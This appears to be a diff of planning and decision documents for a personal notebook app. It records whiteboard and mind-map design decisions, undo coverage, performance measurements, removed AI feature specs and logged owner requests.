+   cannot be selected, dragged, resized, erased or typed into, and Select
+   all, a marquee, the lasso, a group's click and a frame's drag pass it
+   by, so no gesture needs a guard of its own. Lock: the item's right-click

+   locked items"; a right-click on the item goes through to it) and
+   Ctrl+Shift+L with nothing selected. One undo step per lock or unlock. A
+   card's flag is a column (`whiteboard_nodes.locked`, migration
+   `e5a1c8f3b7d2`); a sketch's and an object's are in their data. Not on
+   maps. No lock mark is drawn.
+16. **Presentation steps through the frames** (taken 2026-10-04, the open
+   "presentation mode" row, under standing order 3; tldraw's and Miro's
+   shape, now that decision 14 gives a board its slides). View, Present
+   frames: full screen, every control hidden but one bar at the foot
+   (Previous, "2 of 5: title", Next, End), the frames in reading order
+   (rows from the top, left to right), each fitted with its title above the
+   bar's strip. Arrows, Space, Page Up and Down, Home and End walk; Escape
+   ends and restores the camera and the window. A view: no key or press
+   edits the board while it runs. No frames: a toast says to add one. Not
+   on maps (MINDMAP_PLAN 12.2 item 9 is the map's own, by branch). Speaker
+   notes, transitions and a presenter view are not in this decision.
+17. **A comment thread lives in the item it is about** (taken 2026-10-04, the
+   open "comments" row and MINDMAP_PLAN §12.2 item 6, under standing order 3;
+   MindMeister's and Miro's shape: a thread per item, a count on it).
+   `comments`, a list of `{id, text, at}` (at most 100, each at most 2,000
+   characters of plain text), in a sketch's or an object's own data and in a
+   card's own `comments` column (migration on `e5a1c8f3b7d2`). Not a table
+   keyed across the three tables: in the item's own data a thread moves,
+   copies, undoes and is deleted with its item and needs no cascade. A
+   commented item wears a count mark at its top-right corner
+   (`.wb-comment-mark`, a speech bubble and the number, at screen size like a
+   grip), one layer for every kind so a shape has one too, and outside the
+   item, so a locked item's thread still opens. The mark, the item's
+   right-click menu ("Comment…", "Comments (3)…") and a map topic's Topic
+   group open the thread in the help popover's shell (MINDMAP_PLAN decision
+   18's): the comments oldest first with their time, a delete on each, one box
+   at the foot; Enter posts, Shift+Enter breaks the line, Escape closes. Each
+   post and each delete is one undo step. A notebook has one author, so no
+   names, mentions or resolve (deleting the last comment is resolving). A
+   connector takes no thread (its label is what a line says). Not in any
+   export: a thread is talk about the board, not the board.
+18. **A frame is an export scope; frames nest by what they hold; nothing is
+   clipped** (taken 2026-10-05, decision 14's three open edges, under standing
+   order 3). "Export this frame…" on a frame's right-click menu selects the
+   frame and everything wholly inside it, locked items too, and opens the
+   export dialog on Selection, so every format the dialog has applies. A
+   frame wholly inside another is one of the things it holds: dragging the
+   outer one carries the inner one and what is in it, which decision 14's rule
+   already does, so nesting needs no rule of its own. An item that overhangs a
+   frame belongs to no frame and is drawn whole: clipping would hide what a
+   person put there with no way to see it but moving it.
+
+17. **Which history Ctrl+Z walks** (taken 2026-10-05, the owner: "the undo
+   and redo across the application needs to cover EVERYTHING" and "shouldnt
+   there also be local undos and redos ... for specific documents,
+   whiteboards, mindmaps"). An open board or map: its own stacks
+   (`wbHistoryFor`, one pair per board id, 100 steps, kept for the session
+   while you visit others). An open document: its own CodeMirror history,
+   kept per document id for the session (`docResetDocument`, restored only
+   over the same text, purged on lock). Everywhere else, including the
+   boards list: the app's stack (`pushUndo`, 50 steps). Inside a text field:
+   the field's own. The status bar's pair says which ("on this board", "in
+   this document", or the app step's name) and is repainted on a tab, board
+   or document change. **Amended 2026-10-05 (INBOX 553(b), the owner):
+   kept across a reload**, the last 100 steps of each board and map and the
+   last 100 of each document's history, in IndexedDB on this device
+   (`undo-store.js`, keys `board:<id>` and `doc:<id>`), written a moment
+   after each change and read back when the board or document is first
+   opened in a session. IndexedDB rather than the server: a step is an
+   instruction against what this device last saw, so it is not carried to
+   another device, and it needs no schema or network. A document's history
+   comes back only over the very text it was taken against; the lock
+   empties the store. The server's event log stays the long memory
+   (History sheet, Recent activity).
+18. **A board gesture's Undo is read off what it changed** (taken
+   2026-10-05). `wbRecordGesture` snapshots every row and the map's settings,
+   runs, and pushes the difference as one batch (lost rows back, a map's
+   topics as one branch parents first; reparents, via the root when several
+   moved so no step makes a ring; made rows removed, links first, children
+   first; changed rows written back whole), replacing what the gesture pushed
+   itself. New gestures go in `WB_RECORDED`; a gesture that knows something
+   the snapshot cannot (a drag's start, `wbMapTransplant`) keeps its own.
+
+### Decisions made, 2026-10-05: the draw.io pass (INBOX 557, 558)
+
+**Status 2026-10-05 (docs hygiene before 0.4.0): decisions 19 to 36 are all
+built** (the record is HISTORY.md, "Moved from the plans, 2026-10-05 (docs
+hygiene before 0.4.0: WHITEBOARD_PLAN)"), with two named leftovers: named
+layers (decision 27, BACKLOG 29c) and ghost topics on the canvas (decision
+36). The decisions stay as written; none is remade.
+
+Taken from the features audit's section 9.5 recommendations
+(`scratchpad/audit1005/features.md`), under standing order 3. Where one
+revises an earlier decision the owner's newer words ("take everything from
+draw.io", "redesign the controls ... to maximise usability, utility,
+accessibility, and learnability") are why.
+
+19. **Decision 2, revised: the context bar stays the quick bar; its "..."
+    opens a docked Format panel.** At most seven controls per kind on the bar
+    (decision 11). The long tail goes to a Format panel on the right (Style,
+    Text, Arrange tabs; Ctrl+Shift+P, which the board takes while it is on
+    screen as it takes Ctrl+Shift+G), hidden by default, never a second
+    floating popover.
+20. **Decision 12, revised: a shape's text takes size, font and alignment in
+    the Format panel's Text tab only.** The bar keeps its seven.
+21. **Decision 13, revised: one label per connector, and it slides.** `label_t`
+    (0 to 1 along the line, 0.5 the middle) in the link's data; a drag on the
+    label moves it along. Several labels stay out.
+22. **Decision 14, revised: frames are the pages.** The sidebar lists the
+    board's frames as its pages (reorder is the presentation order); no second
+    concept of a page.
+23. **One command table** (`WB_COMMANDS`, whiteboard-commands.js). The Edit
+    and Arrange menus' rows name a command (`data-wb-cmd`) and say its words
+    and key (lint: `tests/test_wb_commands.py`); the right-click menu, the
+    command palette's "This board" group and the shortcut sheet's whiteboard
+    section are built from it. `]` and `[` are one step (past the next item
+    that overlaps, ties broken by paint order, the fewest rows written);
+    Ctrl+] and Ctrl+[ are the front and the back (FEAT-07). A shape's z is its
+    paint order. No Order on a map (FEAT-17).
+24. **A board's look lives on the board** (FEAT-06): `background {color,
+    image}` in the board's settings beside type and layout, migrated once from
+    the old per-browser keys on open; media cleanup counts the image. Grid and
+    snap stay per device.
+25. **The object library is independent copies** (section 8.4): a placed item
+    becomes ordinary rows that remember `library_ref {id, version}` and never
+    follow later edits. Built-in sets are static JSON shipped with the app,
+    drawn fresh (no draw.io stencils; Apache-2.0 features, not code); "Yours"
+    holds six kinds (a selection, a custom shape, a style or palette, a
+    preset, a branch, a whole board as a template). **BACKLOG 4b is answered
+    here:** a template is a library item of kind `template`, not a mark on
+    the board.
+26. **One left sidebar** (MINDMAP §12.5 and decision 5 revised, below): tabs
+    Library, Notes (the note library moved in from the right), Layers, and on
+    a map Outline; collapsible to a 44px rail, remembered per device; on a
+    phone it is the edge sheet.
+27. **Layers, phase 1**: the board as a tree in paint order, each row with
+    show/hide (a `hidden` flag), lock (decision 15's flag) and rename; a drag
+    restacks (writes z). A hidden item is drawn nowhere, exported nowhere,
+    skipped by search and the Tab walk. Named layers stay phase 2 (BACKLOG
+    29c).
+28. **A locked item shows a faded lock on hover** (INBOX 557a), found by a
+    board-level hit test since the item takes no pointer (decision 15); a
+    press on it hints once, "Locked. Right-click to unlock".
+29. **The AI edits boards with confirmation** (FEAT-12): move, edit, restyle
+    and delete tools, each one event and one undo step, through the same
+    confirm the other destructive agent tools use.
+
+### Decisions made, 2026-10-05: draw.io phase 2 (wb-phase2)
+
+30. **Every connector style takes bends** (decision 13's single `bend`
+    retired for new edits). `points` (board units) is the one list: an elbow
+    routes through it, a straight line runs through each in turn, a curved
+    line is one Catmull-Rom curve through all of them leaving along its
+    shapes' edge normals. The same grips on every style (filled bend, hollow
+    ring to add); a double-click on the line adds a bend there; changing the
+    line shape keeps the bends. An old link's `bend` is drawn as before and
+    read as one waypoint, written as `points` on its first edit. A map's
+    cross-link keeps its own bend handle.
+31. **Line jumps are per connector** (`jumps`: arc, gap or sharp; none by
+    default, as draw.io), set in the Format panel's Style tab. A connector
+    hops on its straight runs over every line painted under it, so of two
+    crossing lines only the upper one hops; the hitbox and the label keep
+    the plain line.
+32. **A Mermaid subgraph is a frame** (decision 22: frames are the pages). A
+    node belongs to the first subgraph that names it; a subgraph is laid out
+    as one block inside its parent's rows, so its frame holds its members
+    and nothing else; an edge naming a subgraph joins its frame. The export
+    writes every frame that holds a joined item as a `subgraph` of its title
+    (the innermost frame; nested frames go out flat).
+33. **A board's history is its items' event log, read three ways**
+    (`routes_board_history.py`): moments (runs of at most two minutes,
+    newest first, paged), the board at any event (each item folded to it;
+    an item with no log was there from the start, one whose log begins with
+    an edit was there as that edit's `before` says), and a restore of the
+    board or the named items in one transaction, each row with its own event,
+    links and a topic's parent re-pointed at remade rows. A library
+    placement records each item's `created` beside its one board event
+    (decision 25's "one event" kept for the board). A compacted moment is
+    listed and not shown (410). The client draws the past with the board's
+    own render in the presenting mode (`.wb-presenting`) with its own bar, refuses
+    writes while it is shown, and records a restore as one Undo step.
+34. **Drawn shapes are guide targets, and a row's spacing continues**
+    (`wbGuideBoxes`, `wbSpacingSeries`): a sketch with a `shape` or a closed
+    path is lined up with like a card (a freehand stroke and a connector are
+    not); with no neighbour on the far side, the gap to the nearest item
+    snaps to the gap that item keeps to the next one out. Alt still bypasses
+    every guide; align and distribute stay the Arrange menu's (they existed).
+35. **Connection points are on the outline** (`wbPortsForPath`): a card, a
+    text box and a rectangle keep the eight; a drawn polygon has its corners
+    and side middles, a curve its eight compass points; each is a fraction
+    of the box, and a stored anchor is read from its fraction, so links made
+    before keep their ends. With Select, pointing at an item that is not
+    selected, locked or on a map shows them, and a drag from one makes an
+    elbow connector with an arrow (as clone-and-connect does), to the item
+    let go on or to a free end; a press that does not travel selects. A
+    connector whose two ends one drag carried has its waypoints carried too,
+    in the same Undo step.
+36. **Branches from my notes is grounded by construction** (FEAT-13,
+    `routes_map_suggest.py`): the search engine finds the notes (not private,
+    not a board, not already on the map), the model only names a topic for
+    one of them by number, and a line naming no listed note is dropped; with
+    no model, or prose, the notes' titles are the suggestions and the dialog
+    says so. Previewed in the picker dialog (the Attach picker's rows, all
+    ticked), never written until Add, which makes the ticked ones under the
+    topic in one transaction with "From your note ..." as each one's note,
+    one Undo step. Ghosts drawn on the canvas wait for boot CSS room (the
+    cap is full); the picker is the recipe the app already has.
+37. **Stickers come from the one icon and emoji picker** (taken 2026-10-05,
+    INBOX 642, mc1): MINDMAP_PLAN decisions 43 and 44 hold for a board as
+    for a map. An emoji dropped or picked is a text object with `sticker:
+    true`; a Phosphor icon is the Library's own vector icon. The Insert
+    menu's "Emoji and icons" opens the picker. INBOX 641's research for the
+    board beyond stickers (Illustrator's linked symbols, Photoshop's layer
+    effects, Miro's reactions) is open there.

+
+Every mutating action on a board or a map, and whether Undo puts all of it
+back (server side effects included). "Recorded" means `WB_RECORDED`
+(decision 18). Measured with `scratchpad/ui-sweeps/boardundo.js` (43/43),
+`mapinsertundo.js` (8/8), `wbmapundo.js`, `maprelink.js`.

+| Delete a card, box or shape | item back, its links lost | item and links, ends re-pointed |
+| Delete a selection | one step per item; parallel deletes popped the wrong entry | one step, in order |
+| Clear board | one step per item; 404 on cascaded links stopped it | one step |
+| Image object deleted | file unlinked, Undo drew a broken picture | file kept (media cleanup reclaims) |
+| Fold, Expand all, Tidy, layout, numbering, theme, reset every topic's style | none | recorded |
+| Add child, sibling, root, reference, duplicate, copy branch, template | the create only (unfold and tidy left) | recorded |
+| Detach, remove keeping branch, turn a line around, cross-link reverse, to branch, cut | none | recorded |
+| Insert between, outdent, move among siblings | own entries | recorded |
+| Group, ungroup, paste style, bucket fill, fit to text, arrange cards | none | recorded |
+| Card text edit (the note's words) | none | `note` step |
+| Branch card on a board (makes a note) | none | recorded, the note to the bin and back |
+| Drop a branch on a topic | own entry | own entry; a folded target opens (the "disappeared" report) |
+| Rename a topic left open across an Undo | wrote onto another topic | the live row by id; an open edit is committed first |
+| Delete a board (board menu, gallery, bulk) | "cannot be undone" (it was the bin) | bin, toast Undo and app Undo |
+| Rename or duplicate a board (gallery) | none | app Undo |
+| Move, resize, rotate, nudge, align, z-order, lock, frame title, properties panel, link handles | own entries | unchanged |
+
+A board's undo now survives a reload (the amendment to decision 2: IndexedDB,
+`undo-store.js`). Open: an agent's or another tab's change to the open board
+is not on its stack (the History sheet has it).
+
+### The app's stack (outside boards and documents)
+
+| Action | Undo |
+| --- | --- |
+| Note bin, archive, edit, attach, link, unlink, tags, categories (move, rename, merge, delete, split, colour), reminders delete, skills batch | already had one |
+| Category delete from the keyboard | added |
+| Merge duplicate notes | added (words, tags, the binned notes back) |
+| Generate or remove a note's title | added |
+| A link's kind or properties | added |
+| Clear completed reminders; delete an overdue or done reminder | added (`POST /reminders` `restore`; the past-date rule refused them) |
+| Empty the bin, purge a note | none by design: confirmed, permanent |
+| Detach a bookmark from a note being edited, delete a note type, relation type (its links typed again), conversation, or a space that was empty or whose contents moved | added (undo-1005: each DELETE answers with what it removed; `restore` on the create, `POST /spaces/restore`, `POST /conversations/restore`) |
+| Delete a space with everything in it | none by design: confirmed, its files leave the disk |
+| Entity merge | added (INBOX 553(a): `merge_with_undo`, `POST /merges/{undo_id}/undo`, Undo in the merge's toast) |

-25. **Whiteboard: the edge anchor outline on note objects differs from
-    every other object kind.** Decision: one anchor recipe for all kinds
-    (the shape one; the note one goes). Owner: WHITEBOARD_PLAN Phase 1.
-43. **(the top bar's menus: fixed, e1e395b; the rest is Phase 1)**
-    **Whiteboard bottom tool rail and the properties panel** are not on
-    the refined recipes (the top bar is). Owner: WHITEBOARD_PLAN Phase 1.
-    **Done, one part:** the five top-bar menus (Insert, Edit, Arrange, View,
-    Board) clipped at the bottom of the panel, the View menu screenshot in
-    31. They were already capped to the window, which was not the bug:
-    measured at 1280x640, View and Arrange ended at y=628 inside a 640px
-    window while `#library-view-whiteboard` (`overflow: hidden`) ends at
-    y=579, so the last 49px was cut off by an ancestor. Now on 31's recipe
-    (escape the clipper, then cap, then scroll). kebab-viewport.js sweeps
-    all five at 1440x900, 1280x640 and 1280x420: 15 cases, all OK. The tool
-    rail and the properties panel are still open.
-47. **Notes (10) and Library (9) still count over the seven-control
-    ceiling** (`scratchpad/ui-sweeps/docks.js`), same as Graph did before
-    this batch. Graph's fix (moving `#graph-view-picker` into its More menu)
-    is not a decision this item can reuse for these two: graph.md section 3
-    named its own two candidates for graph specifically, and named nothing
-    for Notes or Library beyond the counts, so guessing which of their
-    controls moves where is a design call, not a mechanical one (CLAUDE.md
-    §2 rule 3 -- a missing decision is recorded, not remade). Both docks'
-    inflated counts are partly an artefact of how `docks.js` counts, worth
-    knowing before picking a fix: a native `<select>` is auto-enhanced into
-    three counted elements (the select, its `.select-shell`, its
-    `.select-opener`), and a `.seg` segmented control counts as one plus one
-    per visible option, so Library's sort select and its two-button
-    Cards/Rows segment alone are 6 of its 9, and Notes' sort select and its
-    two-button Rows/Cards segment are 7 of its 10. Recommendation: before
-    moving anything, decide in UI_MODERNISATION_PLAN Phase 8 whether the
-    ceiling counts *controls a person reasons about* (a segmented view
-    toggle is one decision, not three) or literal DOM elements as `docks.js`
-    does today; if the latter stands, the same "into an existing menu"
-    treatment graph got is available for Library's `#library-sort` (into
-    Filter or More) and Notes' `#note-sort` (into a menu of its own), which
-    would need one new decision line each rather than either being moved on
-    a solo guess. Owner: UI_MODERNISATION_PLAN Phase 8.

 ### I2 The margin reader: a second reader in the editor, from your own notes
 
-**What the person sees.** While writing a note or document, a quiet
-margin column (off by default per editor, one toggle in the toolbar's
-more menu) fills with at most three cards, each pinned to the paragraph
-it is about: "You wrote the opposite on 12 May: 'the batch size should
-stay at 32'" (open, or mark not a contradiction), "This repeats your
-note 'Why I left the project'" (open, link), "Answers your open question
-from March: 'is the API worth the cost?'" (link as answer), "A date:
-Thursday 3pm. Make a reminder?". Nothing is ever inserted into the text.
-Cards fade when the paragraph changes and re-run after a pause.
-
-**Why it is new.** Every editor's AI writes *for* you (autocomplete,
-rewrite). None reads *with* you against your own past thinking. Obsidian
-Copilot chats; Notion AI drafts; Mem surfaces similar notes as a list, not
-pinned to the sentence and not typed (contradiction, repeat, answer,
-commitment).
-
-**Builds on.** The Phase 0 backdrop and underline geometry in
-`documents.js` (a card is anchored the same way an underline is), the
-selection toolbar D2, the chunk vectors from §14 item 3, I1's
-`derived_facts` for claims and open questions, `EntryDate`.
-
-**Data.** None persisted except accepted links (typed `EntryLink`:
-contradicts, repeats, answers) and created reminders. Cards are computed.
-
-**Endpoints.** `POST /editor/read` with `{entry_id | document_id, paragraph:
-str, ordinal: int}` returns `[{kind, text, source_entry_id, source_span,
-reason, confidence}]`, at most three, in under 300ms without the model
-(similar chunk plus claim table lookups) and, when the model is up, a
-second event over SSE with the model-judged kinds. Debounced client-side at
-1.2s after typing stops in a paragraph; one in-flight request per editor;
-the reply is dropped if the paragraph text changed.
-
-**Algorithm.** Embed the paragraph (cached by text); top-5 chunks by
-cosine excluding the current note; for each, if I1 has a claim in that
-chunk, ask the model (small prompt) for the relation in {contradicts,
-repeats, answers, unrelated}; without a model, show "related" only. Dates
-through `reminder_parser` locally. Rank by confidence, cap three, never
-show the same source twice in one note session.
-
-**Tests first** (`tests/test_margin_reader_spec.py`): the endpoint
-returns at most three cards; a paragraph that repeats a fixture note
-verbatim yields `repeats` with that note; a paragraph that negates a
-fixture claim yields `contradicts` under the fake model; a date yields a
-`date` card with a parsed ISO timestamp; with the model down the endpoint
-still answers in under 300ms with `related` cards; `test_frontend_ids.py`

 ### I3 Open questions: the notebook keeps a list of what you have not answered
 
-**What the person sees.** A "Questions" view under Notes (a sub-tab):
-every question you have written to yourself, newest first, each with
-"asked 3 March in 'Pricing thoughts'" and one of three states: open,
-answered ("you answered this on 9 April in 'Call with Sam'", with the
-sentence), or dropped. The Dashboard shows the count and the oldest open
-one. Ask can be scoped to it: "what am I still undecided about?" answers
-from this list with citations.
-
-**Why it is new.** Task managers track tasks you *declared*. Nobody tracks
-the questions you *asked in passing* and tells you when a later note
-answered them. This is the feature that makes a notebook feel like it
-remembers on your behalf.
-
-**Builds on.** I1 (extraction and the "answers" pass), the grounding
-scorer for the answered-by sentence, the Notes sub-tab strip and the dock
-grammar (a `questions` dock on the grammar), `EntryLink` typed `answers`.
-
-**Data.** `derived_facts` of kind `question` with payload `{answered_by:
-fact_id | null, dropped: bool}`. No new table.
-
-**Endpoints.** `GET /questions?state=` (paged), `POST /questions/{id}`
-(`{state}`; marking answered by hand asks for the note and stores a typed
-link), the Ask box gets `scope: "questions"`.
-
-**Tests first** (`tests/test_questions_spec.py`): a fixture note with two
-questions yields two open facts with spans; a later note that the fake
-model judges as answering one flips its state and the link exists; Ask
-with the scope cites only question facts; dropping is reversible and
-recorded as a correction (I7).

 ### I6 Evidence cards: answers you can audit sentence by sentence
 
-**What the person sees.** Every AI answer sentence carries a small marker;
-hovering shows the *paragraph* it came from, with the three reasons it was
-chosen (words matched, meaning score, graph distance) as three short bars,
-and the verifier's verdict: supported, partly, or unsupported. Unsupported
-sentences are rendered in a lighter tone with "no note says this". A
-"Show the evidence" toggle opens the answer and its sources side by side,
-each source scrolled to the paragraph. A one-line trust score under the
-answer: "9 of 11 sentences supported by your notes".
-
-**Why it is new.** Perplexity cites pages; it cannot say which sentence
-is unsupported, and its citations are page-level. Here the corpus is
-finite and local, so every sentence can be checked against every
-paragraph, and the verifier (B5) can say no.
-
-**Builds on.** This session's grounding change (touched notes, distinctive
-words, labels), `addInlineCitations` and `renderAnswerGrounding` in
-`app.js`, `match_info` (the three signals already exist per hit), the
-verifier spec `tests/test_harness_verifier_spec.py`, §14 item 3 for
-paragraph-level anchors.
-
-**Data.** None new. The grounding event grows per row: `chunk_ordinal`,
-`span`, `signals: {bm25, cosine, graph}`, `verdict`.
-
-**Tests first** (`tests/test_evidence_spec.py`): each grounded row carries
-a chunk ordinal and a span that exists in that note; an answer sentence
-with no candidate is marked `unsupported` and the trust line counts it;
-the side-by-side view scrolls the source to the span (Playwright: the
-span's rect is inside the viewport); the markers survive the final
-markdown re-render (the bug already fixed once in `askQuestion`).

+**Corrected 2026-10-05 (audit FE-06).** The 1,072 KB did not hold: nine days later boot JS was 1,384 KB gzipped (own 1,294 plus d3), and `boottime.js` was never in `gate.sh`, so nothing stopped it.

With comments stripped at serve time (`api/asset_strip.py`, FE-01) boot JS measured 691,724 bytes (d3 92,459 of it) and boot CSS 179,712. p5 was still fetched after load and d3 was a boot script (FE-07): both off the boot since 2026-10-05, d3 with the graph and library bundles, the emblem a 2D canvas.

The sandbox was at a load average near 100 while this ran, so every pair below was measured on the same machine in the same minutes (interleaved, base checkout against this one) and the milliseconds are for comparing, not for quoting.
+
+| What | Before | After |
+| --- | --- | --- |

+| `GET /insights/stats`, same | 184 ms | 55 ms |
+| `GET /media` (the "used in" scan loaded every note, document and board object), 5,000 notes | 140 ms | 9 ms |
+| the first click of a session (the unlock): its handlers, `new AudioContext()` inside the gesture | 44 to 56 ms | under 1 ms (made at idle just after; the context is running) |
+| 900 lookups by `parent_id`, a note's board cards and its reminders, 5,000 notes, 4,000 cards, 1,500 reminders | 604 ms | 2.9 ms (six indexes in `_INDEXES`) |
+| a whole boot, unlock to settled, 500 notes (3 interleaved runs, median) | 1,378 ms, API time 3.1 s | 1,282 ms, API time 2.8 s |
+
+**Measured and left alone, with the number that says why.** SQLite pragmas: `cache_size` 64 MB and `mmap_size` 256 MB moved a scan of a 19 MB database from 3 to 2 ms and nothing else, against memory held per pooled connection, so they stay unset (WAL, `synchronous=NORMAL`, `busy_timeout`, `temp_store` are already set). Polling: an idle minute is 2 requests, the gate; the three `/models/status` and `/tasks` calls in the first seconds are the 1 s cadence while the filing model warms, by design. Listeners: `leaks.js` reads 0 listeners and about 20 nodes a round over five rounds of seven tabs. Layout: the whole boot spends 38 ms in layout and 51 ms in style recalculation, so the forced-layout reading `tabContentWidth` shows in a sampling profile is attribution, not cost. Batching the note cards' clamp checks into one read-then-write frame was tried and made no difference to typing in the search box (both about 150 ms of one layout over 12 keystrokes, interleaved), so it was taken back out. The three request pages of `/entries` at boot are the paging contract and the first paints at once. (Corrected 2026-10-05, audit ARCH-04: three pages was 500 notes; the loop reads until `X-Total-Count`, 26 pages and 2.3 MB at 5,000 notes. A keyset cursor exists server-side; the reader-by-reader client change is the frontend audit's FE-05.)
+
+**Found, not fixed.** The Graph tab's `GET /graph` is 600 ms and 2.5 MB at 5,000 notes (per-note dict building, two `readable_content` calls and a regex each; a payload cache keyed on `_graph_fingerprint` would need the vault and space state in the key). `p5.min.js` is the largest boot asset (247 KB on the wire, about 85 to 135 ms of parse and setup) and is still needed by the dashboard constellation and the emblem; porting those two to canvas 2D, as `bg-art.js` already was, removes it from boot. `enhanceAllSelects` wraps 99 `<select>`s at boot (about 50 ms), most inside Settings panes nobody has opened. Creating a note costs about 300 ms in this sandbox, all of it the embedding model.

-Asked at the close of PR 144: what else makes the app better *in use*,

-service worker, skeletons, chunk-on-scroll lists, saved searches, the
-daily note, the first-run pass and the doctor route all exist), so each
-row below is a gap, with its gate:
-
-- **A local usage ledger.** Count every feature's use on this machine
-  only (a table, never sent anywhere), shown in Settings as "what you
-  use", and used to rank the palette and the Show menu by frequency. The
-  first notebook that tells its owner which of itself is dead weight.
-  Gate: a feature unused for ninety days is listed, and the palette's
-  top five are the five most used.
-- **Time to first answer as the onboarding number.** The first-run path
-  ends in a real question answered from a real note, timed; the tour is
-  cut to whatever gets that under two minutes on a cold laptop. Gate:
-  the number in the CHANGELOG, measured by a sweep that starts from an
-  empty data dir.
-- **Simple mode.** A Settings switch that hides the tabs and settings a
-  new person does not need (Timeline, Boards, the learned store, the
-  advanced response settings) until they are reached for; every hidden
-  thing reachable from the palette. Gate: the tab bar shows four tabs
-  on a fresh install and the docks lint still passes.
-- **Speculative retrieval.** Retrieval starts on a typing pause in Ask
-  and Chat, before Enter, so the first token arrives sooner; the model
-  is warmed on boot and kept resident. Gate: median time to first token
-  on the reference laptop, before and after, in the CHANGELOG.
-- **The perf gate in CI.** `boottime.js` and a per-action timing sweep
-  (open each tab, open a note, ask a question against the fake server)
-  run on every push with a budget per number; a regression fails the
-  build like a lint. Gate: the workflow, and one deliberate regression
-  caught before merge.
-- **Screen readers as a standing sweep.** axe-core over every tab in
-  both themes, next to `contrast.js` and `touch.js`, with the count
-  ratcheted to zero. Gate: the sweep in `all.sh`, zero serious findings.
-- **Quick capture from anywhere.** A global hotkey on the desktop build
-  that opens a one-line capture over any app, and the PWA's share target
-  on a phone on the same network. Gate: a note captured without the app
-  in front, under three seconds, in both cases.
-- **Retry as a grammar.** Every failed request shows the same inline
-  "try again" with the reason, never a toast alone; `errors.js` gains a
-  fault-injection pass (the fake server returns 500 on one route at a
-  time). Gate: zero routes whose failure leaves the surface blank.

+    and row alignment.

+391. **The owner, 2026-09-23, with the Gemini/Antigravity pass on
+    `fix/gemini-fixes-5` (1e63d87, 2c3e16e): "fix and refine the changes
+    attempted by gemini ... fix the ui, fix the ux, fix bugs, revert and refine
+    risky or bad changes, implement the attempted fixes and improvements but
+    better."** Reports in the same drop, and where each stands on this branch:
+    packaged-exe splash (fixed: bootloader Splash); installer optional packages
+    (fixed: `--install-extras`, frozen `--target` folder); `ModuleNotFoundError`
+    traceback and no nomic-embed-text suggestion (fixed); Notes dock and
+    dashboard tiles wrapping at 100% (fixed, measured at 1184); edit scrolls to
+    top and blank Notes page on first edit (fixed: `applyDocGutter` lazy entry
+    point); 29/30/31 notes (fixed: drafts out of every count); no select all
+    (fixed, one toggle per bar); table cells in live view (fixed, focus kept);
+    whiteboard undo for formatting and map styles (fixed); mind maps missing from
+    Find anything, weekly digest filler and "tonight", per-feature model
+    picker, agent activity panel alignment, image filter sketches/uploads,
+    notification when a closed panel's answer finishes (agents running).
+    Decisions, taken 2026-09-23 with the owner: **no fine-tuned bundled model**
+    (the owner agreed: a stock small instruct model plus this app's prompts is
+    cheaper to keep current; revisit only with an eval set that shows a gap).
+    **Laya** (Convai's open-weight decision model, the open alternative to
+    Jev: ModernBERT-large, 421M params, Apache 2.0 so AGPL-compatible, typed
+    choice/score/boolean outputs with probabilities) **is not adopted now**,
+    for three measured reasons from the published benchmarks: zero-shot it
+    scores below a plain baseline (0.362 vs 0.461) and only wins after
+    per-domain fine-tuning, which this app cannot do for each person's own
+    categories; it degrades past about 20 labels (0.425 on Banking77's 77),
+    and notebooks grow past that; its context is 512 tokens, shorter than many
+    notes. Filing stays on embeddings plus the chat model. Where it could earn
+    a place later: small fixed-choice decisions (intent routing in chat, "is
+    this a reminder") as an optional extra on the same torch install as
+    search by meaning, gated on an eval set showing it beats the current
+    prompt on those questions.
+
+392. **The owner, 2026-09-23, verbatim, for after 391:** "poke holes in the
+    application as in find bugs, security flaws places where there is
+    unintuitive design, poor information architecture, poor design, poor ui and
+    ux, poor learnability/usability/heirarchy/spacing and more. hit the open
+    items and plans in open.md. finish all unfinished work. majorly optimise at
+    the level of professional applications. make everything feel like it is a
+    professional application and not just a demo. maximise use of affordances
+    and semiotics. look at websites like motion.dev for ui and component
+    refinement, bklit.ui, kokonut ui etc so make sure none of the ui elements are
+    unprofessionally designed or act in a wierd way. I have found the mind map
+    is very unintuitive to use, really slow to pan and move around, the controls
+    and tools are annoying to find and use, the connections in the bottom bar
+    are different from the ones the mind map nodes use and it just needs a
+    whole professional refinement. same with the code mirror live view in the
+    documents editor, the live view needs a lot better md rendering and it is
+    hard to edit things like tables and other elements and it could look a lot
+    nicer rendered, and usability ux could be improved. also the code document
+    types dont act like a code editor with errors, suggestions and that needs to
+    be imporved. indenting and dedenting across the app also doesnt come in the
+    form it should." Placement: the mind map half joins MINDMAP_PLAN row
+    13a-view (INBOX 312's pan cost) plus a connector-parity row (the bottom
+    bar's link tools must draw what map edges draw); live view and code
+    diagnostics join DOCUMENTS_PLAN; indent/dedent (Tab/Shift+Tab on list
+    items and selections in every text surface) is a WORLD_CLASS_PLAN
+    consistency rule with a lint. Added the same hour, verbatim: "also for
+    after, the mobile view is still bery broken, takes up a lot of the screen
+    and the design needs a lot of improvement." Placement: UI_MODERNISATION_PLAN
+    phone phases; measure chrome height against content at 390x844 first.
+    That half is built (2026-09-23): UI_MODERNISATION_PLAN Phase 11 item 12,
+    gated by `scratchpad/ui-sweeps/phonechrome.js` at 390, 768 and 1024.
+    Later the same day, verbatim: "make sure the whole of the app ui is
+    repsponsive, not just for mobile but any ui resolution. though mobile-first
+    design is I'm told a good practice" and "when I say mobile and responsive
+    design, I mean actually intentionally deisgning for those resolutions, and
+    not just adapting to them. like actually making the features be intended
+    and designed for those resolutions" (phone agent briefed: a phone intent
+    per surface, tablet widths swept too), with slides asking the software to
+    reduce CPU, RAM, network and storage (standing: measure before claiming,
+    as the pan trace did). Also reported and fixed on the branch: the mind map
+    label drag drifting and starting a selection box; the chat header naming
+    llama3.2 while another model answered; no prompt when search by meaning

+410. **The owner, 2026-09-24, verbatim, with screenshots of the writing
+    dictionary, New from a template, the map's radial menus and two linked
+    map nodes.** "also improve how the \"check with ai\" feature works in the
+    documents editor, allow the suggestions panel to be docked on the right

+    "also fix the ci and codeql errors" "when I relink or newly link two

+    and mindmap is laggy as well". Read from the screenshots: the radial's
+    labelled pills overhang the ring (a 2-item edge ring and the 6-item node
+    ring both); a relinked node lands on top of its new parent instead of
+    being laid out as its child. CI: four routing rows fixed 2026-09-24 (three
+    moved to topics added that day, "Can Atlas write for me?" gets a new
+    write-with-atlas topic). Placed: documents (check with AI, dockable
+    suggestions, dictionary), templates (confirm), the Guide's per-surface
+    controls reference, map (radial fit, relink layout, marquee lag), in

+    **The documents' part built 2026-09-24** (the documents agent): Check

